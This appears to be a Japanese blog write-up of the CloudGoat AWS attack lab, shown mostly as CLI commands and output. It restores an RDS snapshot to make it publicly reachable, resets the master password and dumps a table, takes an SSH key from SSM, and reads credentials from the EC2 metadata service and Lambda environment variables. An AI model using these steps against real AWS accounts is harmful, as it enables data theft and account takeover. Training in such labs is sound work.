% aws rds describe-db-subnet-groups --profile Calrissian { "DBSubnetGroups": [ { "DBSubnetGroupName": "cloud-goat-rds-subnet-group-cgidysjfe61q7i", "DBSubnetGroupDescription": "CloudGoat cgidysjfe61q7i Subnet Group", "VpcId": "vpc-0d54cc644cc046bf5", "SubnetGroupStatus": "Complete", "Subnets": [ { "SubnetIdentifier": "subnet-0b887402790487154", "SubnetAvailabilityZone": { "Name": "us-east-1a" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-0207674e01d5abb99", "SubnetAvailabilityZone": { "Name": "us-east-1b" }, "SubnetOutpost": {}, "SubnetStatus": "Active" } ], "DBSubnetGroupArn": "arn:aws:rds:us-east-1:7***********:subgrp:cloud-goat-rds-subnet-group-cgidysjfe61q7i" }, { "DBSubnetGroupName": "cloud-goat-rds-testing-subnet-group-cgidysjfe61q7i", "DBSubnetGroupDescription": "CloudGoat cgidysjfe61q7i Subnet Group ONLY for Testing with Public Subnets", "VpcId": "vpc-0d54cc644cc046bf5", "SubnetGroupStatus": "Complete", "Subnets": [ { "SubnetIdentifier": "subnet-0ff83f3eceab80bba", "SubnetAvailabilityZone": { "Name": "us-east-1b" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-04e2754b6ac56dabe", "SubnetAvailabilityZone": { "Name": "us-east-1a" }, "SubnetOutpost": {}, "SubnetStatus": "Active" } ], "DBSubnetGroupArn": "arn:aws:rds:us-east-1:7***********:subgrp:cloud-goat-rds-testing-subnet-group-cgidysjfe61q7i" }, { "DBSubnetGroupName": "default", "DBSubnetGroupDescription": "default", "VpcId": "vpc-116d946c", "SubnetGroupStatus": "Complete", "Subnets": [ { "SubnetIdentifier": "subnet-24a40d7b", "SubnetAvailabilityZone": { "Name": "us-east-1d" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-2d6fc40c", "SubnetAvailabilityZone": { "Name": "us-east-1b" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-6316e652", "SubnetAvailabilityZone": { "Name": "us-east-1e" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-5c03ae3a", "SubnetAvailabilityZone": { "Name": "us-east-1a" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-0d640203", "SubnetAvailabilityZone": { "Name": "us-east-1f" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-e5502ca8", "SubnetAvailabilityZone": { "Name": "us-east-1c" }, "SubnetOutpost": {}, "SubnetStatus": "Active" } ], "DBSubnetGroupArn": "arn:aws:rds:us-east-1:7***********:subgrp:default" } ] } % aws ec2 describe-subnets --profile Solo --region us-east-1 { "Subnets": [ { "AvailabilityZone": "us-east-1c", "AvailabilityZoneId": "use1-az4", "AvailableIpAddressCount": 4091, "CidrBlock": "172.31.16.0/20", "DefaultForAz": true, "MapPublicIpOnLaunch": true, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-e5502ca8", "VpcId": "vpc-116d946c", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-e5502ca8" }, { "AvailabilityZone": "us-east-1f", "AvailabilityZoneId": "use1-az5", "AvailableIpAddressCount": 4091, "CidrBlock": "172.31.64.0/20", "DefaultForAz": true, "MapPublicIpOnLaunch": true, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-0d640203", "VpcId": "vpc-116d946c", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-0d640203" }, { "AvailabilityZone": "us-east-1a", "AvailabilityZoneId": "use1-az1", "AvailableIpAddressCount": 4091, "CidrBlock": "172.31.0.0/20", "DefaultForAz": true, "MapPublicIpOnLaunch": true, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-5c03ae3a", "VpcId": "vpc-116d946c", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-5c03ae3a" }, { "AvailabilityZone": "us-east-1a", "AvailabilityZoneId": "use1-az1", "AvailableIpAddressCount": 250, "CidrBlock": "10.10.10.0/24", "DefaultForAz": false, "MapPublicIpOnLaunch": false, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-04e2754b6ac56dabe", "VpcId": "vpc-0d54cc644cc046bf5", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "Tags": [ { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Name", "Value": "CloudGoat cgidysjfe61q7i Public Subnet #1" }, { "Key": "Scenario", "Value": "codebuild-secrets" } ], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-04e2754b6ac56dabe" }, { "AvailabilityZone": "us-east-1e", "AvailabilityZoneId": "use1-az3", "AvailableIpAddressCount": 4091, "CidrBlock": "172.31.48.0/20", "DefaultForAz": true, "MapPublicIpOnLaunch": true, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-6316e652", "VpcId": "vpc-116d946c", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-6316e652" }, { "AvailabilityZone": "us-east-1a", "AvailabilityZoneId": "use1-az1", "AvailableIpAddressCount": 251, "CidrBlock": "10.10.30.0/24", "DefaultForAz": false, "MapPublicIpOnLaunch": false, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-0b887402790487154", "VpcId": "vpc-0d54cc644cc046bf5", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "Tags": [ { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Name", "Value": "CloudGoat cgidysjfe61q7i Private Subnet #1" }, { "Key": "Scenario", "Value": "codebuild-secrets" } ], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-0b887402790487154" }, { "AvailabilityZone": "us-east-1b", "AvailabilityZoneId": "use1-az2", "AvailableIpAddressCount": 250, "CidrBlock": "10.10.40.0/24", "DefaultForAz": false, "MapPublicIpOnLaunch": false, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-0207674e01d5abb99", "VpcId": "vpc-0d54cc644cc046bf5", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "Tags": [ { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Name", "Value": "CloudGoat cgidysjfe61q7i Private Subnet #2" }, { "Key": "Scenario", "Value": "codebuild-secrets" } ], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-0207674e01d5abb99" }, { "AvailabilityZone": "us-east-1b", "AvailabilityZoneId": "use1-az2", "AvailableIpAddressCount": 250, "CidrBlock": "10.10.20.0/24", "DefaultForAz": false, "MapPublicIpOnLaunch": false, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-0ff83f3eceab80bba", "VpcId": "vpc-0d54cc644cc046bf5", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "Tags": [ { "Key": "Name", "Value": "CloudGoat cgidysjfe61q7i Public Subnet #2" }, { "Key": "Scenario", "Value": "codebuild-secrets" }, { "Key": "Stack", "Value": "CloudGoat" } ], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-0ff83f3eceab80bba" }, { "AvailabilityZone": "us-east-1b", "AvailabilityZoneId": "use1-az2", "AvailableIpAddressCount": 4091, "CidrBlock": "172.31.80.0/20", "DefaultForAz": true, "MapPublicIpOnLaunch": true, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-2d6fc40c", "VpcId": "vpc-116d946c", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-2d6fc40c" }, { "AvailabilityZone": "us-east-1d", "AvailabilityZoneId": "use1-az6", "AvailableIpAddressCount": 4091, "CidrBlock": "172.31.32.0/20", "DefaultForAz": true, "MapPublicIpOnLaunch": true, "MapCustomerOwnedIpOnLaunch": false, "State": "available", "SubnetId": "subnet-24a40d7b", "VpcId": "vpc-116d946c", "OwnerId": "7***********", "AssignIpv6AddressOnCreation": false, "Ipv6CidrBlockAssociationSet": [], "SubnetArn": "arn:aws:ec2:us-east-1:7***********:subnet/subnet-24a40d7b" } ] }
publicなサブネットグループにDBをリストアする。
% aws rds restore-db-instance-from-db-snapshot --db-instance-identifier newinstance1 --db-snapshot-identifier snapshot1 --db-subnet-group-name cloud-goat-rds-testing-subnet-group-cgidysjfe61q7i --publicly-accessible --profile Calrissian { "DBInstance": { "DBInstanceIdentifier": "newinstance1", "DBInstanceClass": "db.t2.micro", "Engine": "postgres", "DBInstanceStatus": "creating", "MasterUsername": "cgadmin", "DBName": "securedb", "AllocatedStorage": 20, "PreferredBackupWindow": "07:38-08:08", "BackupRetentionPeriod": 0, "DBSecurityGroups": [], "VpcSecurityGroups": [ { "VpcSecurityGroupId": "sg-0097b2cef3e219411", "Status": "active" } ], "DBParameterGroups": [ { "DBParameterGroupName": "default.postgres9.6", "ParameterApplyStatus": "in-sync" } ], "DBSubnetGroup": { "DBSubnetGroupName": "cloud-goat-rds-testing-subnet-group-cgidysjfe61q7i", "DBSubnetGroupDescription": "CloudGoat cgidysjfe61q7i Subnet Group ONLY for Testing with Public Subnets", "VpcId": "vpc-0d54cc644cc046bf5", "SubnetGroupStatus": "Complete", "Subnets": [ { "SubnetIdentifier": "subnet-0ff83f3eceab80bba", "SubnetAvailabilityZone": { "Name": "us-east-1b" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-04e2754b6ac56dabe", "SubnetAvailabilityZone": { "Name": "us-east-1a" }, "SubnetOutpost": {}, "SubnetStatus": "Active" } ] }, "PreferredMaintenanceWindow": "mon:04:03-mon:04:33", "PendingModifiedValues": {}, "MultiAZ": false, "EngineVersion": "9.6.19", "AutoMinorVersionUpgrade": true, "ReadReplicaDBInstanceIdentifiers": [], "LicenseModel": "postgresql-license", "OptionGroupMemberships": [ { "OptionGroupName": "default:postgres-9-6", "Status": "pending-apply" } ], "PubliclyAccessible": true, "StorageType": "gp2", "DbInstancePort": 0, "StorageEncrypted": false, "DbiResourceId": "db-5MMRXQLGIES4ZGGKRQSEBHLR3Q", "CACertificateIdentifier": "rds-ca-2019", "DomainMemberships": [], "CopyTagsToSnapshot": false, "MonitoringInterval": 0, "DBInstanceArn": "arn:aws:rds:us-east-1:7***********:db:newinstance1", "IAMDatabaseAuthenticationEnabled": false, "PerformanceInsightsEnabled": false, "DeletionProtection": false, "AssociatedRoles": [], "TagList": [ { "Key": "Name", "Value": "cg-rds-instance-cgidysjfe61q7i" }, { "Key": "Scenario", "Value": "codebuild-secrets" }, { "Key": "Stack", "Value": "CloudGoat" } ] } }
リストアしたDBにはデフォルトのセキュリティグループが適用されるため、付け替えを行う。
cg-rds-psql-cgidysjfe61q7i(sg-09e426a8cb9f31e8a)にすればよさそう。
% aws ec2 describe-security-groups --profile Calrissian { "SecurityGroups": [ { "Description": "default VPC security group", "GroupName": "default", "IpPermissions": [ { "IpProtocol": "-1", "IpRanges": [], "Ipv6Ranges": [], "PrefixListIds": [], "UserIdGroupPairs": [ { "GroupId": "sg-0097b2cef3e219411", "UserId": "7***********" } ] } ], "OwnerId": "7***********", "GroupId": "sg-0097b2cef3e219411", "IpPermissionsEgress": [ { "IpProtocol": "-1", "IpRanges": [ { "CidrIp": "0.0.0.0/0" } ], "Ipv6Ranges": [], "PrefixListIds": [], "UserIdGroupPairs": [] } ], "VpcId": "vpc-0d54cc644cc046bf5" }, { "Description": "CloudGoat cgidysjfe61q7i Security Group for EC2 Instance over SSH", "GroupName": "cg-ec2-ssh-cgidysjfe61q7i", "IpPermissions": [ { "FromPort": 22, "IpProtocol": "tcp", "IpRanges": [ { "CidrIp": "**.**.**.**/32" } ], "Ipv6Ranges": [], "PrefixListIds": [], "ToPort": 22, "UserIdGroupPairs": [] } ], "OwnerId": "7***********", "GroupId": "sg-07844914cbfefc7ce", "IpPermissionsEgress": [ { "IpProtocol": "-1", "IpRanges": [ { "CidrIp": "0.0.0.0/0" } ], "Ipv6Ranges": [], "PrefixListIds": [], "UserIdGroupPairs": [] } ], "Tags": [ { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Scenario", "Value": "codebuild-secrets" }, { "Key": "Name", "Value": "cg-ec2-ssh-cgidysjfe61q7i" } ], "VpcId": "vpc-0d54cc644cc046bf5" }, { "Description": "CloudGoat cgidysjfe61q7i Security Group for PostgreSQL RDS Instance", "GroupName": "cg-rds-psql-cgidysjfe61q7i", "IpPermissions": [ { "FromPort": 5432, "IpProtocol": "tcp", "IpRanges": [ { "CidrIp": "10.10.20.0/24" }, { "CidrIp": "10.10.30.0/24" }, { "CidrIp": "10.10.40.0/24" }, { "CidrIp": "**.**.**.**/32" }, { "CidrIp": "10.10.10.0/24" } ], "Ipv6Ranges": [], "PrefixListIds": [], "ToPort": 5432, "UserIdGroupPairs": [] } ], "OwnerId": "7***********", "GroupId": "sg-09e426a8cb9f31e8a", "IpPermissionsEgress": [ { "IpProtocol": "-1", "IpRanges": [ { "CidrIp": "0.0.0.0/0" } ], "Ipv6Ranges": [], "PrefixListIds": [], "UserIdGroupPairs": [] } ], "VpcId": "vpc-0d54cc644cc046bf5" }, { "Description": "default VPC security group", "GroupName": "default", "IpPermissions": [ { "IpProtocol": "-1", "IpRanges": [], "Ipv6Ranges": [], "PrefixListIds": [], "UserIdGroupPairs": [ { "GroupId": "sg-0d531a31", "UserId": "7***********" } ] } ], "OwnerId": "7***********", "GroupId": "sg-0d531a31", "IpPermissionsEgress": [ { "IpProtocol": "-1", "IpRanges": [ { "CidrIp": "0.0.0.0/0" } ], "Ipv6Ranges": [], "PrefixListIds": [], "UserIdGroupPairs": [] } ], "VpcId": "vpc-116d946c" } ] } % aws rds modify-db-instance --db-instance-identifier newinstance1 --vpc-security-group-ids sg-09e426a8cb9f31e8a --profile Calrissian { "DBInstance": { "DBInstanceIdentifier": "newinstance1", "DBInstanceClass": "db.t2.micro", "Engine": "postgres", "DBInstanceStatus": "available", "MasterUsername": "cgadmin", "DBName": "securedb", "Endpoint": { "Address": "newinstance1.cen1twfmlpzd.us-east-1.rds.amazonaws.com", "Port": 5432, "HostedZoneId": "Z2R2ITUGPM61AM" }, "AllocatedStorage": 20, "InstanceCreateTime": "2021-01-14T03:13:42.402000+00:00", "PreferredBackupWindow": "07:38-08:08", "BackupRetentionPeriod": 0, "DBSecurityGroups": [], "VpcSecurityGroups": [ { "VpcSecurityGroupId": "sg-09e426a8cb9f31e8a", "Status": "adding" }, { "VpcSecurityGroupId": "sg-0097b2cef3e219411", "Status": "removing" } ], "DBParameterGroups": [ { "DBParameterGroupName": "default.postgres9.6", "ParameterApplyStatus": "in-sync" } ], "AvailabilityZone": "us-east-1b", "DBSubnetGroup": { "DBSubnetGroupName": "cloud-goat-rds-testing-subnet-group-cgidysjfe61q7i", "DBSubnetGroupDescription": "CloudGoat cgidysjfe61q7i Subnet Group ONLY for Testing with Public Subnets", "VpcId": "vpc-0d54cc644cc046bf5", "SubnetGroupStatus": "Complete", "Subnets": [ { "SubnetIdentifier": "subnet-0ff83f3eceab80bba", "SubnetAvailabilityZone": { "Name": "us-east-1b" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-04e2754b6ac56dabe", "SubnetAvailabilityZone": { "Name": "us-east-1a" }, "SubnetOutpost": {}, "SubnetStatus": "Active" } ] }, (snip) "TagList": [ { "Key": "Name", "Value": "cg-rds-instance-cgidysjfe61q7i" }, { "Key": "Scenario", "Value": "codebuild-secrets" }, { "Key": "Stack", "Value": "CloudGoat" } ] } }
さらに、マスターパスワードを変更する。
% aws rds modify-db-instance --db-instance-identifier newinstance1 --master-user-password cgpassword --profile Calrissian { "DBInstance": { "DBInstanceIdentifier": "newinstance1", "DBInstanceClass": "db.t2.micro", "Engine": "postgres", "DBInstanceStatus": "available", "MasterUsername": "cgadmin", "DBName": "securedb", "Endpoint": { "Address": "newinstance1.cen1twfmlpzd.us-east-1.rds.amazonaws.com", "Port": 5432, "HostedZoneId": "Z2R2ITUGPM61AM" }, "AllocatedStorage": 20, "InstanceCreateTime": "2021-01-14T03:13:42.402000+00:00", "PreferredBackupWindow": "07:38-08:08", "BackupRetentionPeriod": 0, "DBSecurityGroups": [], "VpcSecurityGroups": [ { "VpcSecurityGroupId": "sg-09e426a8cb9f31e8a", "Status": "active" } ], "DBParameterGroups": [ { "DBParameterGroupName": "default.postgres9.6", "ParameterApplyStatus": "in-sync" } ], "AvailabilityZone": "us-east-1b", "DBSubnetGroup": { "DBSubnetGroupName": "cloud-goat-rds-testing-subnet-group-cgidysjfe61q7i", "DBSubnetGroupDescription": "CloudGoat cgidysjfe61q7i Subnet Group ONLY for Testing with Public Subnets", "VpcId": "vpc-0d54cc644cc046bf5", "SubnetGroupStatus": "Complete", "Subnets": [ { "SubnetIdentifier": "subnet-0ff83f3eceab80bba", "SubnetAvailabilityZone": { "Name": "us-east-1b" }, "SubnetOutpost": {}, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-04e2754b6ac56dabe", "SubnetAvailabilityZone": { "Name": "us-east-1a" }, "SubnetOutpost": {}, "SubnetStatus": "Active" } ] }, (snip) "TagList": [ { "Key": "Name", "Value": "cg-rds-instance-cgidysjfe61q7i" }, { "Key": "Scenario", "Value": "codebuild-secrets" }, { "Key": "Stack", "Value": "CloudGoat" } ] } }
これでDBに外部から接続可能になったので、接続して情報を窃取するとゴール。
% psql postgresql://cgadmin:cgpassword@newinstance1.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/securedb psql (13.1, server 9.6.19) SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off) Type "help" for help. securedb=> \dt List of relations Schema | Name | Type | Owner --------+-----------------------+-------+--------- public | sensitive_information | table | cgadmin (1 row) securedb=> select * from sensitive_information; name | value ------+-------------------------------------------- Key1 | V\!C70RY-PvyOSDptpOVNX2JDS9K9jVetC1xI4gMO4 Key2 | V\!C70RY-JpZFReKtvUiWuhyPGF20m4SDYJtOTxws6 (2 rows)
次に、別ルートを試す。
まず、SSMパラメータを取得すると、鍵の情報が入手できる。
% aws ssm describe-parameters --profile Solo --region us-east-1 { "Parameters": [ { "Name": "cg-ec2-private-key-cgidysjfe61q7i", "Type": "String", "LastModifiedDate": "2021-01-07T13:41:31.423000+09:00", "LastModifiedUser": "arn:aws:iam::7***********:user/cloudgoat", "Description": "cg-ec2-private-key-cgidysjfe61q7i", "Version": 1, "Tier": "Standard", "Policies": [], "DataType": "text" }, { "Name": "cg-ec2-public-key-cgidysjfe61q7i", "Type": "String", "LastModifiedDate": "2021-01-07T13:41:31.263000+09:00", "LastModifiedUser": "arn:aws:iam::7***********:user/cloudgoat", "Description": "cg-ec2-public-key-cgidysjfe61q7i", "Version": 1, "Tier": "Standard", "Policies": [], "DataType": "text" } ] } % aws ssm get-parameter --name cg-ec2-private-key-cgidysjfe61q7i --profile Solo --region us-east-1 { "Parameter": { "Name": "cg-ec2-private-key-cgidysjfe61q7i", "Type": "String", "Value": "(snip)", "Version": 1, "LastModifiedDate": "2021-01-07T13:41:31.423000+09:00", "ARN": "arn:aws:ssm:us-east-1:746321857124:parameter/cg-ec2-private-key-cgidysjfe61q7i", "DataType": "text" } }
上記の鍵をファイルに保存し(改行\nが含まれているため注意)、EC2インスタンスに接続を試みる。
ログインユーザはタグのヒントから、ubuntuで試す。
% aws ec2 describe-instances --profile Solo --region us-east-1 { "Reservations": [ { "Groups": [], "Instances": [ { "AmiLaunchIndex": 0, "ImageId": "ami-0a313d6098716f372", "InstanceId": "i-0b226fe5e8d976a20", "InstanceType": "t2.micro", "KeyName": "cg-ec2-key-pair-cgidysjfe61q7i", "LaunchTime": "2021-01-07T04:45:30+00:00", "Monitoring": { "State": "disabled" }, "Placement": { "AvailabilityZone": "us-east-1a", "GroupName": "", "Tenancy": "default" }, "PrivateDnsName": "ip-10-10-10-218.ec2.internal", "PrivateIpAddress": "10.10.10.218", "ProductCodes": [], "PublicDnsName": "ec2-3-80-10-254.compute-1.amazonaws.com", "PublicIpAddress": "**.**.**.**", "State": { "Code": 16, "Name": "running" }, "StateTransitionReason": "", "SubnetId": "subnet-04e2754b6ac56dabe", "VpcId": "vpc-0d54cc644cc046bf5", "Architecture": "x86_64", "BlockDeviceMappings": [ { "DeviceName": "/dev/sda1", "Ebs": { "AttachTime": "2021-01-07T04:45:31+00:00", "DeleteOnTermination": true, "Status": "attached", "VolumeId": "vol-0db7760111a6a1c8e" } } ], "ClientToken": "011C34A0-6099-4720-82D5-21E17C6D06CC", "EbsOptimized": false, "EnaSupport": true, "Hypervisor": "xen", "IamInstanceProfile": { "Arn": "arn:aws:iam::7***********:instance-profile/cg-ec2-instance-profile-cgidysjfe61q7i", "Id": "AIPA23RB7ZJSAHNQLBENQ" }, "NetworkInterfaces": [ { "Association": { "IpOwnerId": "amazon", "PublicDnsName": "ec2-3-80-10-254.compute-1.amazonaws.com", "PublicIp": "**.**.**.**" }, "Attachment": { "AttachTime": "2021-01-07T04:45:30+00:00", "AttachmentId": "eni-attach-0218ccaedbc85605b", "DeleteOnTermination": true, "DeviceIndex": 0, "Status": "attached" }, "Description": "", "Groups": [ { "GroupName": "cg-ec2-ssh-cgidysjfe61q7i", "GroupId": "sg-07844914cbfefc7ce" } ], "Ipv6Addresses": [], "MacAddress": "02:bc:8d:6e:79:37", "NetworkInterfaceId": "eni-0628f8cf600a5fdba", "OwnerId": "7***********", "PrivateDnsName": "ip-10-10-10-218.ec2.internal", "PrivateIpAddress": "10.10.10.218", "PrivateIpAddresses": [ { "Association": { "IpOwnerId": "amazon", "PublicDnsName": "ec2-3-80-10-254.compute-1.amazonaws.com", "PublicIp": "**.**.**.**" }, "Primary": true, "PrivateDnsName": "ip-10-10-10-218.ec2.internal", "PrivateIpAddress": "10.10.10.218" } ], "SourceDestCheck": true, "Status": "in-use", "SubnetId": "subnet-04e2754b6ac56dabe", "VpcId": "vpc-0d54cc644cc046bf5", "InterfaceType": "interface" } ], "RootDeviceName": "/dev/sda1", "RootDeviceType": "ebs", "SecurityGroups": [ { "GroupName": "cg-ec2-ssh-cgidysjfe61q7i", "GroupId": "sg-07844914cbfefc7ce" } ], "SourceDestCheck": true, "Tags": [ { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Scenario", "Value": "codebuild-secrets" }, { "Key": "Name", "Value": "cg-ubuntu-ec2-cgidysjfe61q7i" } ], "VirtualizationType": "hvm", "CpuOptions": { "CoreCount": 1, "ThreadsPerCore": 1 }, "CapacityReservationSpecification": { "CapacityReservationPreference": "open" }, "HibernationOptions": { "Configured": false }, "MetadataOptions": { "State": "applied", "HttpTokens": "optional", "HttpPutResponseHopLimit": 1, "HttpEndpoint": "enabled" } } ], "OwnerId": "7***********", "ReservationId": "r-0e22e3417125b3155" } ] } % ssh -i private ubuntu@ec2-3-80-10-254.compute-1.amazonaws.com Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-1032-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Jan 15 06:57:23 UTC 2021 System load: 0.0 Processes: 90 Usage of /: 25.8% of 7.69GB Users logged in: 0 Memory usage: 26% IP address for eth0: 10.10.10.218 Swap usage: 0% * Introducing self-healing high availability clusters in MicroK8s. Simple, hardened, Kubernetes for production, from RaspberryPi to DC. https://microk8s.io/high-availability Get cloud support with Ubuntu Advantage Cloud Guest: http://www.ubuntu.com/business/services/cloud * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 105 packages can be updated. 2 updates are security updates. *** System restart required *** The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. ubuntu@ip-10-10-10-218:~$
メタデータサービスから起動時のコマンドを確認すると、DBの接続情報が得られる。
root@ip-10-10-10-218:~# curl http://169.254.169.254/latest/user-data #!/bin/bash apt-get update apt-get install -y postgresql-client psql postgresql://cgadmin:wagrrrrwwgahhhhwwwrrggawwwwwwrr@cg-rds-instance-cgidysjfe61q7i.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/securedb \ -c "CREATE TABLE sensitive_information (name VARCHAR(100) NOT NULL, value VARCHAR(100) NOT NULL);" psql postgresql://cgadmin:wagrrrrwwgahhhhwwwrrggawwwwwwrr@cg-rds-instance-cgidysjfe61q7i.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/securedb \ -c "INSERT INTO sensitive_information (name,value) VALUES ('Key1','V\!C70RY-PvyOSDptpOVNX2JDS9K9jVetC1xI4gMO4');" psql postgresql://cgadmin:wagrrrrwwgahhhhwwwrrggawwwwwwrr@cg-rds-instance-cgidysjfe61q7i.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/securedb \ -c "INSERT INTO sensitive_information (name,value) VALUES ('Key2','V\!C70RY-JpZFReKtvUiWuhyPGF20m4SDYJtOTxws6');"
これでDBに接続できるので、後は最初のルートと同じ。
root@ip-10-10-10-218:~# psql postgresql://cgadmin:wagrrrrwwgahhhhwwwrrggawwwwwwrr@cg-rds-instance-cgidysjfe61q7i.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/securedb psql (10.15 (Ubuntu 10.15-0ubuntu0.18.04.1), server 9.6.19) SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off) Type "help" for help. securedb=> \dt List of relations Schema | Name | Type | Owner --------+-----------------------+-------+--------- public | sensitive_information | table | cgadmin (1 row) securedb=> select * from sensitive_information; name | value ------+-------------------------------------------- Key1 | V\!C70RY-PvyOSDptpOVNX2JDS9K9jVetC1xI4gMO4 Key2 | V\!C70RY-JpZFReKtvUiWuhyPGF20m4SDYJtOTxws6 (2 rows)
または、lambdaの環境変数としてDBの接続情報が登録されているので、これを窃取すればよい。
root@ip-10-10-10-218:~# apt-get update (snip) root@ip-10-10-10-218:~# apt-get install awscli root@ip-10-10-10-218:~# aws lambda list-functions --region us-east-1 { "Functions": [ { "FunctionName": "cg-lambda-cgidysjfe61q7i", "FunctionArn": "arn:aws:lambda:us-east-1:746321857124:function:cg-lambda-cgidysjfe61q7i", "Runtime": "python3.6", "Role": "arn:aws:iam::7***********:role/cg-lambda-role-cgidysjfe61q7i-service-role", "Handler": "lambda.handler", "CodeSize": 163, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2021-01-07T04:41:44.299+0000", "CodeSha256": "N3l99W/S7z8yvEwY1TLdVgLMk1WC3S1hjokcuc9bKGg=", "Version": "$LATEST", "Environment": { "Variables": { "DB_USER": "cgadmin", "DB_NAME": "securedb", "DB_PASSWORD": "wagrrrrwwgahhhhwwwrrggawwwwwwrr" } }, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "9306902f-8135-4330-81b2-a1de21321546" } ] }
ecs_efs_attack
現時点で動作していないようなので、動作するようになったらやる。
AWSの攻撃体験ツール【Cloudgoat】全シナリオやる(中編)
前編はこちら。
- iam_privesc_by_attachment (Medium / Moderate)
- ec2_ssrf (Medium / Moderate)
- rce_web_app (Medium / Hard)
iam_privesc_by_attachment (Medium / Moderate)
制限された権限をもつユーザー(Kerrigan)から始め、instance-profile-attachment権限を通して強い権限を持つEC2インスタンスを作成する。このサーバを利用することで管理者権限を獲得し、cg-super-critical-security-serverインスタンスの削除を行う。
./cloudgoat.py create iam_privesc_by_attachment
でシナリオに必要なリソース等が用意される。
作成されるstart.txtからaccess_key_id
、secret_key
を確認し、Kerriganのprofileを作成する。
(インスタンスはus-east-1にあったのでregionはそこを指定した)
% cat start.txt cloudgoat_output_aws_account_id = 7*********** cloudgoat_output_kerrigan_access_key_id = A************** cloudgoat_output_kerrigan_secret_key = T***************************
% aws configure --profile Kerrigan AWS Access Key ID [None]: A************** AWS Secret Access Key [None]: T*************************** Default region name [None]: us-east-1 Default output format [None]:
EC2インスタンスの情報を取得する。
